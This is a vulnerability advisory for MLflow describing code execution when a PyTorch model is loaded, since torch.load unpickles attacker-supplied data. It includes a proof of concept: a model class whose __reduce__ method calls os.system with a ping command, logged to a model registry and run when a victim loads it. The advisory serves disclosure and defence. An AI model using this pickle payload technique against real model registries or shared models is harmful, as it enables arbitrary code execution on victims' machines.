Cloudpickle Load on PyTorch Model Load Leading to Code Execution

Products Impacted

This vulnerability was introduced in version 0.5.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’).

Details

This vulnerability exists within the mlflow/pytorch/__init__.py file, within the function _load_model. This is called when the mlflow.pytorch.load_model function is called.

def _load_model(path, device=None, **kwargs):
	import torch
...

	if Version(torch.__version__) >= Version("1.5.0"):
    		pytorch_model = torch.load(model_path, **kwargs)
	else:
    	try:
        	pytorch_model = torch.load(model_path, **kwargs)

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a PyTorch model upon build. When logging the specially crafted PyTorch model with MLflow, the model will be serialized via PyTorch’s torch.save function. This will be deserialized during model load, as the _load_model function calls PyTorch’s torch.load function, which will lead to the execution of the arbitrary code on the victim machine.

class SimpleNet(nn.Module):
	def __init__(self, input_size, hidden_size, num_classes):
    	...
    	import os
    	class RunCommand:
        	def __reduce__(self):
            		return (os.system, ('ping -c 4 8.8.8.8',))

    	self.command = RunCommand()
	...

model = SimpleNet(input_size, hidden_size, num_classes)

with mlflow.start_run():
	mlflow.pytorch.log_model(model, "model", registered_model_name="PytorchTest")

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/PytorchTest/1"
loaded_model = mlflow.pytorch.load_model(logged_model, dst_path='/tmp/pytorch_model')